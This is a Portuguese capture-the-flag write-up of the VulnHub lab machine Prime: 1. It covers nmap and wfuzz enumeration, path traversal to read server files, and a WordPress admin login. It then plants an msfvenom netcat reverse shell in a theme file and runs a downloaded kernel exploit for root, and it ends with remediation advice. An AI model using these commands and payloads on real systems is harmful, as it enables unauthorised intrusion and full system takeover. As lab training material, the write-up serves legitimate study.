Pwning - Prime: 1
30 VMs em 30 dias [ 19 ] - Beco do Exploit
Descrição da máquina
This machine is designed for those one who is trying to prepare for OSCP or OSCP-Exam.
This is first level of prime series. Some help at every stage is given. Machine is lengthy as OSCP and Hackthebox’s machines are designed.
So you have a target to get root flag as well as user flag. If stuck on a point some help are given at a level of enumeration.
Material de apoio
- Download da VM: https://www.vulnhub.com/entry/prime-1,358/
- CVE-2017–16995: https://nvd.nist.gov/vuln/detail/cve-2017-16995
Objetivo
- A partir do IP da máquina, explorar vulnerabilidades que permitam acesso remoto
- Conseguir permissão root no sistema
Reconhecimento
Para iniciarmos nossa exploração, precisamos começar enumerando possibilidades de comunicação com nosso alvo. Para isso, vamos utilizar a rede, de modo com que troquemos dados através de portas e serviços. Antes, precisamos do IP dessa máquina. Poderíamos usar diversas ferramentas para descobrir, mas dessa vez escolhemos o arp-scan.
arp-scan -I <interface> <ip-rede>/<mascara>
Com o IP do alvo em mãos, podemos fazer a enumeração de portas e serviços com o nmap:
nmap -p- -sV -Pn <ip-addr>
Descobrimos então que está rodando um SSH e um HTTP. Dessa forma, se for para encontrarmos uma vulnerabilidade, seria Web, visto que a versão do OpenSSH não há vulnerabilidades conhecidas. Mas ainda, como última escolha, poderíamos fazer um Bruteforce em algum usuário.
Por agora, vamos acessar o site para ver do que se trata.
Huum, nada de muito interessante por aqui… parece uma página estática com uma simples imagem.
Bom… que tal um dirb?
Já descobrimos que roda o CMS Wordpress! O que será que tem nesses nesses caminhos descobertos?
Logo de cara, vemos que /dev se trata de um arquivo, onde diz que temos que procurar mais a fundo para encontrar outras informações.
Quando usamos o dirb, ele fez busca pela palavra exata que aparece na wordlist. Dessa forma, apenas serão encontradas correspondências de diretórios ou de arquivos sem extensão, como é o caso do /dev.
Para irmos além disso, podemos adicionar uma extensão, como .php, txt, .doc… Vamos testar algumas:
Ao acessarmos esses arquivos, encontramos muitas semelhanças: uma página branca com aquela imagem do início por cima.
Certo, e se tentarmos com a extensão .txt?
Huuum só pelo nome é interessante, podemos ver o que tem dentro pelo Browser:
Ele sugere que nós utilizemos o WebFuzzing para descobrir parâmetros processados pelo Backend da aplicação! Então vamos testar isso:
wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://192.168.15.112/index.php?FUZZ=location.txt
Entretanto, o site responde com 200 para todas as requisições. Podemos delimitar um número de linhas, palavras ou caracteres que indiquem uma resposta padrão, para que saibamos quando uma parâmetro realmente modifica o comportamento da página:
wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 --hl 7 http://192.168.15.112/index.php?FUZZ=location.txt
E booom!! Vamos ver o que modificou na página:
E agora ele sugere utilizarmos o parâmetro secrettier360 para encontrar outras páginas. O testamos no index.php, porém nada foi encontrado. Entretanto, no image.php ele retornou algo:
Coincidentemente, encontramos justamente o arquivos que ficam na raiz do serviço Web. Será que se trata de uma referência de caminho? Vamos testar:
E é exatamente isso! Será que há a vulnerabilidade Path Traversal aqui?
Exploração
Vamos experimentar ler o /etc/passwd a partir desse parâmetro GET.
Aháaaa!!! Descobrimos algo muuito interessante: podemos ler arquivos de dentro do servidor, será que se trata de um cat em que é possível um command injection?
cat <file1> <file2>
Mas não funcionou, então provavelmente há tratativa.
Algo interessante no /etc/passwd foi a seguinte linha:
Vamos então tentar recuperar esse arquivo!
Será que essa é a senha do usuário que tem a Shell /bin/bash? O Victor? Podemos tentar acessar através do SSH…
Não deu certo, mas ainda temos outra possibilidade, lembra que descobrimos haver um Wordpress? Que tal tentarmos logar lá?
E para nossa felicidade… Deu certo!
Talvez o Wordpress da sua máquina, se estiver fazendo junto, pode dar um probleminha, assim como deu aqui. Trata-se de má referência dos links, onde o CMS não consegue interpretar os endereços IP da máquina e concatena IPv4 com IPv6, tanto no front quanto no Backend, o que impossibilita a utilização da aplicação.
Para resolver isso, perdemos muito tempo tentando configurar DHCP do VMware, testando diversas configurações de interfaces de rede, e até procurando outros vetores de ataque. Entretanto, descobrimos que o problema estava realmente na interpretação, por parte do Wordpress do IP. Mas funcionou corretamente no momento em que subimos apenas uma interface, em host-only.
E é por isso que o IP da máquina será outro daqui em diante.
Certo, estamos dentro do painel administrativo do Wordpress. E como qualquer painel de CMS, LMS, etc… as maiores vulnerabilidades estão em Plugins, Temas e Upload de arquivos. O que será que podemos encontrar aqui?
Podemos acessar o editor de temas:
Dentro do Theme Editor, somos capazes de alterar o código fonte de alguns arquivos dentro do servidor, relacionados ao tema, então basta procurarmos um que tenhamos permissão de escrita, e logo encontramos um:
Que tal uma Reverse Shell em PHP? Para isso, podemos usar a função de criar payload do msfvenom, basta executarmos o seguinte comando:
msfvenom -p cmd/unix/reverse_netcat lport=<porta> lhost=<ip-addr> -f raw
E então, colocamos no arquivo secret.php e fazemos o Update.
Ok, aparentemente deu certo, agora precisamos saber onde está o diretório dos arquivos do tema twentynineteen (que editamos), podemos assumir que é o padrão de Wordpress (/wp-content/themes/twentynineteen/).
Vamos então abrir uma escuta para a Shell no nosso Kali e tentar executar o PHP pelo Browser!
Aháaaa!! Estamos dentro do servidor! Agora só resta aumentarmos nossas permissões.
Escalação de Privilégios
Como de costume, verificamos o release do Kernel como um dos principais vetores de Privilege Escalation. Para isso, usamos o seguinte comando:
uname -a
Descobrimos a versão exata do Kernel Linux: 4.10.0–28. Com isso em mãos, que tão procurarmos por uma vulnerabilidade já conhecida? Podemos usar o searchsploit com esse intuito:
searchsploit linux ubuntu 4.10.0-28
Encontramos exatamente o que queremos, então vamos fazer uma cópia do exploit:
Feito isso, subimos um servidor HTTP na nossa máquina para enviar o exploit ao PC do alvo.
Paralelamente, no alvo, fazemos o download do exploit dentro do diretório /tmp, através do wget:
Agora, basta compilarmos, darmos permissão de execução ao binário e executarmos! Será que vai dar certo…?
Heheheh… mais simples impossível!
Correção de Vulnerabilidades
- Não armazenar dicas sobre como seu sistema pode ser explorado;
- Fazer tratativa dos valores recebidos nos parâmetros GET, de forma com que não seja possível realizar operações com arquivos sensíveis ou fora do escopo do site (/var/www/html);
- Diminuir as permissões para o usuário www-data;
- Manter o Kernel Linux e a Distro atualizada;
Mas caso esteja sem muita paciência, recomendo que use o seguinte comando:
Exploração e Write-up feita com o Luís Santos. Acompanhe os próximos capítulos em nossos perfis!!
